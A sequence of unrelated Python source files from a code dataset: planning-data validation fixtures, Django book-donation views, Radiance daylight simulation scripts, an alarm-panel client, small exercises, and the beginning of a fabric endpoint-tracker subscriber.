\"value\": \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application\",\n \"error\": None,\n \"row\": 2,\n },\n \"Deliverable\": {\"value\": \"yes\", \"error\": None, \"row\": 2},\n \"NetDwellingsRangeFrom\": {\"value\": \"\", \"error\": None, \"row\": 2},\n \"NetDwellingsRangeTo\": {\"value\": \"\", \"error\": None, \"row\": 2},\n \"HazardousSubstances\": {\"value\": \"\", \"error\": None, \"row\": 2},\n \"Notes\": {\"value\": \"\", \"error\": None, \"row\": 2},\n \"FirstAddedDate\": {\"value\": \"2017-12-01\", \"error\": None, \"row\": 2},\n \"LastUpdatedDate\": {\"value\": \"2017-12-08\", \"error\": None, \"row\": 2},\n },\n ],\n \"errors_by_column\": {\n \"GeoX\": {\n \"rows\": [1, 2],\n \"errors\": [\n {\n \"message\": \"not-a-geox is not a valid number\",\n \"row\": 1,\n \"fix\": None,\n \"value\": \"not-a-geox\",\n },\n {\n \"message\": \"447560 isn't a longitude using the WGS84 or ETRS89 coordinate systems\",\n \"row\": 2,\n \"fix\": None,\n \"value\": \"447560\",\n },\n ],\n \"messages\": [\n \"Some values in this column are non numeric\",\n \"GeoX or GeoY should represent a point in UK using the WGS84 or ETRS89 coordinate systems.\",\n ],\n },\n \"GeoY\": {\n \"rows\": [1, 2],\n \"errors\": [\n {\n \"message\": \"139531 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"row\": 1,\n \"fix\": None,\n \"value\": \"139531\",\n },\n {\n \"message\": \"130729 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"row\": 2,\n \"fix\": None,\n \"value\": \"130729\",\n },\n ],\n \"messages\": [\n \"GeoX or GeoY should represent a point in UK using the WGS84 or ETRS89 coordinate systems.\"\n ],\n },\n \"SiteplanURL\": {\n \"rows\": [1],\n \"errors\": [\n {\n \"message\": \"'not-a-url' is not a URL\",\n \"row\": 1,\n \"fix\": None,\n \"value\": \"not-a-url\",\n }\n ],\n \"messages\": [\"Some values in this column are not URLs\"],\n },\n \"PlanningHistory\": {\n \"rows\": [1],\n \"errors\": [\n {\n \"message\": \"'this-item-is-not-a-url' is not a url\",\n \"row\": 1,\n \"fix\": None,\n \"value\": \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application|this-item-is-not-a-url\",\n }\n ],\n \"messages\": [\n \"This column can contain one or more URLs separated by a pipe (‘|’) character\"\n ],\n },\n },\n \"result\": {\n \"time\": 0.131,\n \"valid\": False,\n \"error-count\": 8,\n \"table-count\": 1,\n \"tables\": [\n {\n \"time\": 0.025,\n \"valid\": False,\n \"error-count\": 8,\n \"row-count\": 2,\n \"source\": \"inline\",\n \"headers\": [\n \"Deliverable\",\n \"FirstAddedDate\",\n \"GeoX\",\n \"GeoY\",\n \"HazardousSubstances\",\n \"Hectares\",\n \"LastUpdatedDate\",\n \"NetDwellingsRangeFrom\",\n \"NetDwellingsRangeTo\",\n \"Notes\",\n \"OrganisationURI\",\n \"OwnershipStatus\",\n \"PermissionDate\",\n \"PermissionType\",\n \"PlanningHistory\",\n \"PlanningStatus\",\n \"SiteNameAddress\",\n \"SiteReference\",\n \"SiteplanURL\",\n ],\n \"format\": \"inline\",\n \"schema\": \"table-schema\",\n \"errors\": [\n {\n \"code\": \"blank-header\",\n \"column-number\": 20,\n \"message\": \"Header in column 20 is blank\",\n \"message-data\": {},\n },\n {\n \"code\": \"missing-header\",\n \"column-number\": 20,\n \"message\": \"There is a missing header in column 20\",\n \"message-data\": {\"field_name\": \"EndDate\"},\n },\n {\n \"code\": \"type-or-format-error\",\n \"row-number\": 1,\n \"column-number\": 3,\n \"message\": 'The value \"not-a-geox\" in row 1 and column 3 is not type \"number\" and format \"default\"',\n \"message-data\": {\n \"value\": \"not-a-geox\",\n \"field_type\": \"number\",\n \"field_format\": \"default\",\n },\n },\n {\n \"code\": \"geo-error\",\n \"row-number\": 1,\n \"column-number\": 4,\n \"message\": \"139531 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"message-data\": {\"value\": \"139531\"},\n },\n {\n \"code\": \"url-list-error\",\n \"row-number\": 1,\n \"column-number\": 15,\n \"message\": \"'this-item-is-not-a-url' is not a url\",\n \"message-data\": {\n \"value\": \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application|this-item-is-not-a-url\"\n },\n },\n {\n \"code\": \"type-or-format-error\",\n \"row-number\": 1,\n \"column-number\": 19,\n \"message\": 'The value \"not-a-url\" in row 1 and column 19 is not type \"string\" and format \"uri\"',\n \"message-data\": {\n \"value\": \"not-a-url\",\n \"field_type\": \"string\",\n \"field_format\": \"uri\",\n },\n },\n {\n \"code\": \"geo-error\",\n \"row-number\": 2,\n \"column-number\": 3,\n \"message\": \"447560 isn't a longitude using the WGS84 or ETRS89 coordinate systems\",\n \"message-data\": {\"value\": \"447560\"},\n },\n {\n \"code\": \"geo-error\",\n \"row-number\": 2,\n \"column-number\": 4,\n \"message\": \"130729 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"message-data\": {\"value\": \"130729\"},\n },\n ],\n }\n ],\n \"warnings\": [],\n \"preset\": \"table\",\n },\n}\n","sub_path":"tests/data/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":19600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"249334987","text":"\"\"\"\nA movie theater charges different ticket prices depending on a person’s age.\nIf a person is under the age of 3, the ticket is free; if they are between 3 and 12, the ticket is $10;\nand if they are over age 12, the ticket is $15.\nWrite a loop in which you ask users their age, and then tel them the cost of their movie ticket.\n\"\"\"\nprompt = \"\\nHow old are you?\"\nprompt += \"\\nEnter quit when you are finished: \"\n\nwhile 1:\n year = input(prompt)\n\n if year == \"quit\":\n break\n\n if int(year) < 3:\n msg = \"You are free of charge!\"\n elif int(year) < 12:\n msg = \"Your entrance fee is $10!\"\n else:\n msg = \"Your entrance fee is $15!\"\n\n print(msg)\n","sub_path":"Work/Chapter7/7_5.py","file_name":"7_5.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"112877241","text":"\"\"\"Initial Migration\n\nRevision ID: 96a0ae59bcd0\nRevises: None\nCreate Date: 2016-04-18 19:35:31.503722\n\n\"\"\"\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = '96a0ae59bcd0'\ndown_revision = None\n\n\ndef upgrade():\n op.create_table(\n 'role',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=80), nullable=True),\n sa.Column('description', sa.String(length=255), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table(\n 'user',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=255), nullable=True),\n sa.Column('last_name', sa.String(length=255), nullable=True),\n sa.Column('birth_date', sa.Date(), nullable=True),\n sa.Column(\n 'gender', sa.Enum('male', 'female', 'transmf', 'transfm'),\n nullable=True),\n sa.Column('email', sa.String(length=255), nullable=True),\n sa.Column('password', sa.String(length=255), nullable=True),\n sa.Column('active', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email')\n )\n op.create_table(\n 'credits_account',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column(\n 'type', sa.Enum('primary', 'savings', 'retirement'),\n nullable=True),\n sa.Column('credits', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'],),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table(\n 'roles_users',\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('role_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['role_id'], ['role.id'],),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'],)\n )\n\n\ndef downgrade():\n op.drop_table('roles_users')\n op.drop_table('credits_account')\n op.drop_table('user')\n op.drop_table('role')\n","sub_path":"migrations/versions/96a0ae59bcd0_.py","file_name":"96a0ae59bcd0_.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"156611165","text":"\"\"\"This is a the main class for the SIA Client.\"\"\"\nfrom __future__ import annotations\n\nimport asyncio\nimport logging\nfrom types import TracebackType\nfrom typing import Any, Callable, Dict, List, Optional, Type\n\nfrom .. import __author__, __copyright__, __license__, __version__\nfrom ..account import SIAAccount\nfrom ..base_client import BaseSIAClient\nfrom ..event import SIAEvent\nfrom ..utils import CommunicationsProtocol\nfrom .server import SIAServer\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass SIAClient(BaseSIAClient):\n \"\"\"Class for Async SIA Client.\"\"\"\n\n def __init__(\n self,\n host: str,\n port: int,\n accounts: List[SIAAccount],\n function: Callable[[SIAEvent], None],\n protocol: CommunicationsProtocol = CommunicationsProtocol.TCP,\n ):\n \"\"\"Create the asynchronous SIA Client object.\n\n Arguments:\n host {str} -- Host to run the server on, usually would be \"\"\n port {int} -- The port the server listens to.\n accounts {List[SIAAccount]} -- List of SIA Accounts to add.\n function {Callable[[SIAEvent], None]} -- The function that gets called for each event, can be a asyncio coroutine, otherwise the function gets wrapped to be non-blocking.\n protocol {CommunicationsProtocol Enum} -- CommunicationsProtocol to use, TCP or UDP.\n\n \"\"\"\n if not asyncio.iscoroutinefunction(function):\n raise TypeError(\"Function should be a coroutine, create with async def.\")\n BaseSIAClient.__init__(self, host, port, accounts, function, protocol)\n self.task: Any = None\n self.transport: Any = None\n self.dgprotocol: Any = None\n self.sia_server: Any = None\n if self.protocol == CommunicationsProtocol.TCP:\n self.sia_server = SIAServer(self._accounts, self._func, self._counts)\n\n async def __aenter__(self, **kwargs: Dict[str, Any]) -> SIAClient:\n \"\"\"Start with as context manager.\"\"\"\n await self.start(**kwargs)\n return self\n\n async def __aexit__(\n self,\n exc_type: Optional[Type[BaseException]],\n exc_val: Optional[BaseException],\n traceback: Optional[TracebackType],\n ) -> Optional[bool]:\n \"\"\"End as context manager.\"\"\"\n await self.stop()\n return True\n\n async def start(self, **kwargs: Any) -> None:\n \"\"\"Start the asynchronous SIA server.\n\n The rest of the arguments are passed directly to asyncio.start_server().\n\n \"\"\"\n _LOGGER.debug(\"Starting SIA.\")\n if self.protocol == CommunicationsProtocol.TCP:\n self.coro = asyncio.start_server(\n self.sia_server.handle_line, self._host, self._port, **kwargs\n )\n self.task = asyncio.create_task(self.coro)\n return\n loop = asyncio.get_running_loop()\n self.transport, self.dgprotocol = await loop.create_datagram_endpoint(\n lambda: SIAServer(self._accounts, self._func, self._counts),\n local_addr=(self._host, self._port),\n **kwargs,\n )\n return\n\n async def stop(self) -> None:\n \"\"\"Stop the asynchronous SIA server.\"\"\"\n _LOGGER.debug(\"Stopping SIA.\")\n if self.transport is not None:\n self.transport.close()\n return\n if self.sia_server is not None:\n self.sia_server.shutdown_flag = True\n if self.task is not None: # pragma: no cover\n await asyncio.gather(self.task)\n","sub_path":"src/pysiaalarm/aio/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"128877288","text":"class Solution:\n def reverse(self, x):\n if x < 0:\n return -1 * self.reverseUtil(-x)\n return self.reverseUtil(x)\n\n def reverseUtil(self, x):\n result = 0\n while x != 0:\n digit = x % 10\n result = result * 10 + digit\n x = int(x / 10)\n\n return 0 if result > pow(2, 31) - 1 or result < -pow(2, 31) else result","sub_path":"python/test/leet/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515504710","text":"import re\r\nimport os\r\n\r\nfileList=os.listdir()\r\nuserRegex=input(\"Enter the expression to be searched: \")\r\nsearchRegex=re.compile('(.*)?(%s)(.*)?' % userRegex)\r\nstringList=[]\r\ntextInFile=\"\"\r\n\r\nfor i in range(len(fileList)):\r\n if os.path.isfile(fileList[i]):\r\n fileOP=open(fileList[i], 'r')\r\n textInFile=fileOP.read()\r\n \r\n stringList=searchRegex.findall(textInFile)\r\n \r\n print(\"In file %s:\" % fileList[i])\r\n if stringList==[]:\r\n print(\" No text found.\")\r\n else:\r\n for j in range(len(stringList)):\r\n print(' '+''.join((stringList[j])).strip())\r\n \r\n print(\"\\n\")\r\n \r\n fileOP.close()\r\n","sub_path":"RegexFileSearch.py","file_name":"RegexFileSearch.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"451964100","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect\n\nfrom django.urls import reverse\n#for older versoins of Django use:\n#from django.core.urlresolvers import reverse\n\nimport re\n\nfrom login.models import User\nfrom .models import Books,Order\nfrom .forms import AddBookForm\n\ndef index(request):\n li=Books.objects.order_by('-pk')[:10]\n if request.session.has_key('user_id'):\n uid=request.session['user_id']\n try:\n user=User.objects.get(user_name=uid)\n return render(request, 'Html/index.html',{'usr':user,'list':li})\n except User.DoesNotExist:\n return HttpResponse(\"UserName not found\")\n else:\n return render(request, 'Html/index.html',{'list':li})\n\ndef donate(request,book):\n if request.session.has_key('user_id'):\n uid=request.session['user_id']\n try:\n user=User.objects.get(user_name=uid)\n bk=Books.objects.get(book_name=book)\n bk.no_of_copies+=1\n pts=bk.points\n bk.save()\n user.points+=pts\n user.save()\n li=Books.objects.order_by('-pk')[:10]\n return render(request, 'Html/donate.html',{'usr':user,'list':li,'book':book})\n except (User.DoesNotExist , Books.DoesNotExist):\n return HttpResponse('Book or user does not exist')\n else:\n return HttpResponseRedirect(reverse('login:login'))\n\n\ndef getbook(request,book):\n if request.session.has_key('user_id'):\n uid=request.session['user_id']\n try:\n user=User.objects.get(user_name=uid)\n bk=Books.objects.get(book_name=book)\n\n return render(request, 'Html/confirmord.html',{'usr':user,'book':bk})\n except (User.DoesNotExist , Books.DoesNotExist):\n return HttpResponse('Book or user does not exist')\n else:\n return HttpResponseRedirect(reverse('login:login'))\n\n\ndef donatebk(request):\n if request.session.has_key('user_id'):\n uid=request.session['user_id']\n try:\n user=User.objects.get(user_name=uid)\n if request.method == 'POST':\n bk_nm = request.POST['bookname'] \n try:\n book=Books.objects.get(book_name=bk_nm)\n return render(request, 'Html/donate.html', {'usr':user,'book':book})\n except Books.DoesNotExist:\n return render(request, 'Html/donate.html', {'usr':user,'book':\"notyet\"})\n except User.DoesNotExist:\n return HttpResponse('UserName not found')\n else:\n return HttpResponseRedirect(reverse('login:login'))\n\n\ndef addbk(request):\n if request.method == 'POST':\n book=AddBookForm(request.POST)\n if book.is_valid():\n price=int(book.cleaned_data.get('price'))\n points=int(price/10)\n p=Books(book_name=book.cleaned_data.get('bookname'),auth_name=book.cleaned_data.get('auth'),points=points,price=price,varification=False)\n p.save()\n \n return HttpResponseRedirect(reverse('main:index'))\n\ndef search(request):\n if request.method == 'POST':\n search=request.POST['search']\n #t=Topic.objects.get(topic_text=topic.cleaned_data.get('topic_text'))\n book_li = Books.objects.all()\n li=[]\n for b in book_li:\n if re.search(search,b.book_name,re.IGNORECASE):\n li.append(b)\n elif re.search(search,b.auth_name,re.IGNORECASE):\n li.append(b)\n if request.session.has_key('user_id'):\n uid = request.session['user_id']\n user = User.objects.get(user_name=uid)\n return render(request, 'Html/searchresults.html', {'user_id':user,\"list\": li})\n else:\n return render(request, 'Html/searchresults.html', {\"list\": li})\n else:\n return HttpResponse(\"not POST\")\n\ndef confirm(request):\n if request.session.has_key('user_id'):\n uid=request.session['user_id']\n book=request.POST['book']\n address=request.POST['add']\n try:\n user=User.objects.get(user_name=uid)\n bk=Books.objects.get(book_name=book)\n if bk.no_of_copies==0:\n return HttpResponse('The book'+book+'is out of stock')\n bk.no_of_copies-=1\n pts=bk.points\n if user.points= 1), 'The timestep should be 60 minutes or a submultiple of 60'\n\n with open(opt_fn, 'r') as f:\n opt = f.read()\n # print(opt)\n\n if not os.path.exists('%s/%s/dc' % (Clim_f_name, Rad_f_name)):\n os.makedirs('%s/%s/dc' % (Clim_f_name, Rad_f_name))\n if not os.path.exists('%s/%s/res' % (Clim_f_name, Rad_f_name)):\n os.makedirs('%s/%s/res' % (Clim_f_name, Rad_f_name))\n if not os.path.exists('%s/%s/temp' % (Clim_f_name, Rad_f_name)):\n os.makedirs('%s/%s/temp' % (Clim_f_name, Rad_f_name))\n\n groundglow = '#@rfluxmtx h=u u=Y\\nvoid glow ground_glow 0 0 4 1 1 1 0\\nground_glow source ground 0 0 4 0 0 -1 180\\n'\n skyglow = '#@rfluxmtx h=r%d u=Y\\nvoid glow sky_glow 0 0 4 1 1 1 0\\nsky_glow source sky 0 0 4 0 0 1 180\\n' % mf\n with open('%s/%s/temp/whitesky.rad' % (Clim_f_name, Rad_f_name), 'w') as f:\n f.write(groundglow)\n f.write(skyglow)\n\n for wp_fp in pts_fn:\n line_n_cmd = 'wc -l < %s' % wp_fp\n proc = subprocess.Popen(line_n_cmd, shell=True, stdout=subprocess.PIPE)\n sen_n = int(proc.communicate()[0])\n print('Number of sensor points: %d' % sen_n)\n\n wp = os.path.basename(wp_fp)\n wp = os.path.splitext(wp)[0]\n\n\n dc_fn = '%s/%s/dc/%s_MF%d.dc' % (Clim_f_name, Rad_f_name, Rad_f_name, mf)\n #edit to specify ill name\n res_fn = '%s/%s/res/%s_%s_R_%03d' % (Clim_f_name, Rad_f_name, Rad_f_name, Clim_f_name, r)\n\n #if not os.path.exists(dc_fn):\n rfluxmtx = 'rfluxmtx -faf -n %d @%s -I+ -y %d < %s - %s/%s/temp/whitesky.rad -i %s.oct | rmtxop -c .27 .66 .07 - > %s' % (\n nproc, opt_fn, sen_n, wp_fp, Clim_f_name, Rad_f_name, prj, dc_fn)\n\n os.system(rfluxmtx)\n\n #else:\n # print('Existing DC matrix used for the simulation')\n\n rmtxop = 'rmtxop %s %s | rmtxop -fa -s 179 - > %s.ill' % (dc_fn, smx_fp, res_fn)\n os.system(rmtxop)\n\n for f in os.listdir('%s/%s/dc' % (Clim_f_name, Rad_f_name)):\n if os.path.getsize('%s/%s/dc/%s' % (Clim_f_name, Rad_f_name, f)) is 0:\n print('%s/%s/dc/%s is empty and will be removed' % (Clim_f_name, Rad_f_name, f))\n os.remove('%s/%s/dc/%s' % (Clim_f_name, Rad_f_name, f))\n\n for f in os.listdir('%s/%s/res' % (Clim_f_name, Rad_f_name)):\n if os.path.getsize('%s/%s/res/%s' % (Clim_f_name, Rad_f_name, f)) is 0:\n print('%s/%s/res/%s is empty and will be removed' % (Clim_f_name, Rad_f_name, f))\n os.remove('%s/%s/res/%s' % (Clim_f_name, Rad_f_name, f))\n print('Simulation finished\\n Case-%s, Weatherfile-%s, Orientation-%d, Time taken - %s seconds' % (Rad_f_name, Clim_f_name, r,(time.time() - start_time)))\n","sub_path":"Definitions.py","file_name":"Definitions.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"485836010","text":"# 非线性最小二乘拟合\nfrom scipy import optimize\nimport numpy as np\nfrom common_use.ml import scipy_test\n\nx_data = np.linspace(-10, 10, num=20)\ny_data = scipy_test.f(x_data) + np.random.randn(x_data.size)\n\n\ndef f2(x, a, b):\n return a * x ** 2 + b * np.sin(x)\n\n\nguss = [2, 2]\nparams, params_covariance = optimize.curve_fit(f2, x_data, y_data, guss)\n\nprint(params, params_covariance)\n\n","sub_path":"common_use/ml/curve_fit_test.py","file_name":"curve_fit_test.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196966515","text":"'''\n\n\n¡¡¡¡¡¡IMPORTANT!!!!!\n\n\nThis acrobot uses a customized gym version\nin order for it to work, clone the gym github repository, go to\nfolder gym/envs/classic_control, and replace the acrobot.py file by the one that is \nin the same folder as this main.py file. Once done that, install gym in your \ncomputer as indicated in its github page:\n\ngit clone https://github.com/openai/gym.git (you should have already done this command)\ncd gym\npip install -e .\n\n\n'''\n\n\n\n\nimport tensorflow as tf\n\nfrom Agent import Agent\n\nfrom Displayer import DISPLAYER\n\nimport parameters\n\nif __name__ == '__main__':\n \n tf.reset_default_graph()\n\n with tf.Session() as sess:\n\n agent = Agent(sess)\n\n print(\"Beginning of the run\")\n \n try:\n agent.run()\n except KeyboardInterrupt:\n agent.save(\"NetworkParam/FinalParam\")\n print(\"End of the run\")\n DISPLAYER.disp()\n \n\n agent.play(5)\n\n agent.close()\n","sub_path":"RL/DDPG/Acrobot DDPG/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"153851416","text":"#!/usr/bin/env python\n\"\"\"Some tests covering the pipeline creation sub command.\n\"\"\"\nimport pytest\nimport nf_core.licences\nimport unittest\n\n\nPL_WITH_LICENSES = 'nf-core/hlatyping'\n\n\nclass WorkflowLicensesTest(unittest.TestCase):\n \"\"\" A class that performs tests on the workflow license\n retrieval functionality of nf-core tools.\"\"\"\n\n def setUp(self):\n self.license_obj = nf_core.licences.WorkflowLicences(\n pipeline=PL_WITH_LICENSES\n )\n\n def test_fetch_licenses_successful(self):\n self.license_obj.fetch_conda_licences()\n self.license_obj.print_licences()\n\n @pytest.mark.xfail(raises=LookupError)\n def test_errorness_pipeline_name(self):\n self.license_obj.pipeline = 'notpresent'\n self.license_obj.fetch_conda_licences()\n self.license_obj.print_licences()\n","sub_path":"tests/test_licenses.py","file_name":"test_licenses.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"379938627","text":"from django.conf import settings\nfrom django import template\nfrom classytags.core import Tag, Options\nfrom classytags.arguments import Argument, Flag\n\nregister = template.Library()\n\n\nclass TryTag(Tag):\n name = 'try'\n options = Options(\n Flag('always', true_values=['true', 'yes'], default='no'),\n blocks=[('except', 'pre_except'), ('endtry', 'post_except')]\n )\n\n \n def render_tag(self, context, always, pre_except, post_except):\n context.push()\n if always or settings.DEBUG:\n try:\n r = pre_except.render(context)\n except Exception as e:\n r = post_except.render(context)\n else:\n r = pre_except.render(context) \n context.pop()\n return r\n \n \nregister.tag(TryTag)\n","sub_path":"trytag/templatetags/trytag.py","file_name":"trytag.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"386206603","text":"# 標準モジュール参照\nimport asyncio\n\n# pyhookedモジュール参照\nfrom pyhooked import Hook, KeyboardEvent, MouseEvent\n\nclass TriggerChecker():\n def __init__(self):\n hk = Hook() # make a new instance of PyHooked\n hk.handler = self.handle_events # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)\n hk.hook() # hook into the events, and listen to the presses\n\n async def handle_events(args):\n if isinstance(args, KeyboardEvent):\n print(args.key_code)\n if args.current_key == 'A' and args.event_type == 'key down' and 'Rcontrol' in args.pressed_key:\n await print(\"Ctrl + A was pressed\")\n elif args.current_key == 'Z' and args.event_type == 'key down' and 'Rcontrol' in args.pressed_key:\n await hk.stop()\n print('Quitting.')\n\n if isinstance(args, MouseEvent):\n if args.mouse_x == 300 and args.mouse_y == 400:\n print(\"Mouse is at (300,400\") ","sub_path":"Archived/TriggerChecker.py","file_name":"TriggerChecker.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"69680183","text":"\nfrom ... utils import get_db\nfrom ... utils import get_redis\n\nfrom .. utils import get_apic_session\nfrom .. utils import get_apic_session\nfrom .. utils import get_attributes\nfrom .. utils import get_class\nfrom .. utils import get_controller_version\nfrom .. utils import parse_apic_version\nfrom .. utils import validate_session_role\nfrom .. subscription_ctrl import SubscriptionCtrl\n\nfrom . common import MANAGER_CTRL_CHANNEL\nfrom . common import MANAGER_WORK_QUEUE\nfrom . common import MAX_SEND_MSG_LENGTH\nfrom . common import MINIMUM_SUPPORTED_VERSION\nfrom . common import MO_BASE\nfrom . common import SUBSCRIBER_CTRL_CHANNEL\nfrom . common import get_vpc_domain_id\nfrom . ept_msg import MSG_TYPE\nfrom . ept_msg import WORK_TYPE\nfrom . ept_msg import eptEpmEventParser\nfrom . ept_msg import eptMsg\nfrom . ept_msg import eptMsgWork\nfrom . ept_msg import eptMsgWorkDeleteEpt\nfrom . ept_msg import eptMsgWorkRaw\nfrom . ept_msg import eptMsgWorkWatchNode\nfrom . ept_epg import eptEpg\nfrom . ept_history import eptHistory\nfrom . ept_node import eptNode\nfrom . ept_pc import eptPc\nfrom . ept_settings import eptSettings\nfrom . ept_subnet import eptSubnet\nfrom . ept_tunnel import eptTunnel\nfrom . ept_vnid import eptVnid\nfrom . ept_vpc import eptVpc\nfrom . mo_dependency_map import dependency_map\n\nfrom importlib import import_module\n\nimport logging\nimport re\nimport threading\nimport time\nimport traceback\n\n# module level logging\nlogger = logging.getLogger(__name__)\n\nclass eptSubscriber(object):\n \"\"\" builds initial fabric state and subscribes to events to ensure db is in sync with fabric.\n epm events are sent to workers to analyze.\n subscriber also listens \n \"\"\"\n def __init__(self, fabric):\n # receive instance of Fabric rest object\n self.fabric = fabric\n self.settings = eptSettings.load(fabric=self.fabric.fabric, settings=\"default\")\n self.initializing = True # set to queue events until fully initialized\n self.epm_initializing = True # different initializing flag for epm events\n self.stopped = False # set to ignore events after hard_restart triggered\n self.db = None\n self.redis = None\n self.session = None\n self.ept_epm_parser = None # initialized once overlay vnid is known\n self.soft_restart_ts = 0 # timestamp of last soft_restart\n self.manager_ctrl_channel_lock = threading.Lock()\n self.manager_work_queue_lock = threading.Lock()\n self.subscription_check_interval = 5.0 # interval to check subscription health\n\n # classes that have corresponding mo Rest object and handled by handle_std_mo_event\n # the order shouldn't matter during build but just to be safe we'll control the order...\n self.ordered_mo_classes = [\n # ordered l3out dependencies\n \"fvCtx\",\n \"l3extRsEctx\",\n \"l3extOut\",\n \"l3extExtEncapAllocator\",\n \"l3extInstP\",\n # ordered BD/EPG/subnet dependencies\n \"fvBD\",\n \"fvSvcBD\",\n \"fvRsBd\",\n \"vnsRsEPpInfoToBD\",\n \"vnsRsLIfCtxToBD\",\n \"vnsLIfCtx\",\n \"mgmtRsMgmtBD\",\n \"mgmtInB\",\n \"fvAEPg\",\n \"vnsEPpInfo\",\n \"fvSubnet\",\n \"fvIpAttr\",\n # no dependencies\n \"pcAggrIf\",\n \"tunnelIf\",\n \"vpcRsVpcConf\",\n ]\n # dict of classname to import mo object\n self.mo_classes = {}\n for mo in self.ordered_mo_classes:\n self.mo_classes[mo] = getattr(import_module(\".%s\" % mo, MO_BASE), mo)\n\n # static/special handlers for a subset of 'slow' subscriptions\n # note, slow subscriptions are handled via handle_std_mo_event and dependency_map\n self.subscription_classes = [\n \"fabricProtPol\", # handle_fabric_prot_pol\n \"fabricAutoGEp\", # handle_fabric_group_ep\n \"fabricExplicitGEp\", # handle_fabric_group_ep\n \"fabricNode\", # handle_fabric_node\n ]\n # classname to function handler for subscription events\n self.handlers = { \n \"fabricProtPol\": self.handle_fabric_prot_pol,\n \"fabricAutoGEp\": self.handle_fabric_group_ep,\n \"fabricExplicitGEp\": self.handle_fabric_group_ep,\n \"fabricNode\": self.handle_fabric_node,\n }\n\n # epm subscriptions expect a high volume of events\n # note the order of the subscription classes is also the order in which analysis is performed\n #rs-ip-events before epmIpEp so that each local epmIpEp will already have corresponding mac \n # rewrite info ready. Ideally, all epmIpEp analysis completes in under \n # TRANSITORY_STALE_NO_LOCAL time (300 seconds) so no false stale is triggered. \n self.epm_subscription_classes = [\n \"epmRsMacEpToIpEpAtt\",\n \"epmIpEp\",\n \"epmMacEp\",\n ]\n\n all_interests = {}\n for s in self.subscription_classes:\n all_interests[s] = {\"handler\": self.handle_event}\n for s in self.mo_classes:\n all_interests[s] = {\"handler\": self.handle_std_mo_event}\n # wait to add epm classes\n self.subscriber = SubscriptionCtrl(\n self.fabric,\n all_interests,\n heartbeat=300,\n subscribe_timeout=30,\n )\n\n def __repr__(self):\n return \"sub-%s\" % self.fabric.fabric\n\n def run(self):\n \"\"\" wrapper around run to handle interrupts/errors \"\"\"\n logger.info(\"starting eptSubscriber for fabric '%s'\", self.fabric.fabric)\n try:\n # allocate a unique db connection as this is running in a new process\n self.db = get_db(uniq=True, overwrite_global=True)\n self.redis = get_redis()\n self._run()\n except (Exception, SystemExit, KeyboardInterrupt) as e:\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n finally:\n self.subscriber.unsubscribe()\n if self.db is not None:\n self.db.client.close()\n\n def handle_channel_msg(self, msg):\n \"\"\" handle msg received on subscribed channels \"\"\"\n try:\n if msg[\"type\"] == \"message\":\n channel = msg[\"channel\"]\n msg = eptMsg.parse(msg[\"data\"]) \n logger.debug(\"[%s] msg on q(%s): %s\", self, channel, msg)\n if channel == SUBSCRIBER_CTRL_CHANNEL:\n self.handle_subscriber_ctrl(msg)\n else:\n logger.warn(\"[%s] unsupported channel: %s\", self, channel)\n except Exception as e:\n logger.debug(\"[%s] failed to handle msg: %s\", self, msg)\n logger.error(\"Traceback:\\n%s\", traceback.format_exc())\n\n def handle_subscriber_ctrl(self, msg):\n \"\"\" handle subscriber control messages \"\"\"\n # all subscriber ctrl messages must have fabric present\n if msg.fabric != self.fabric.fabric:\n 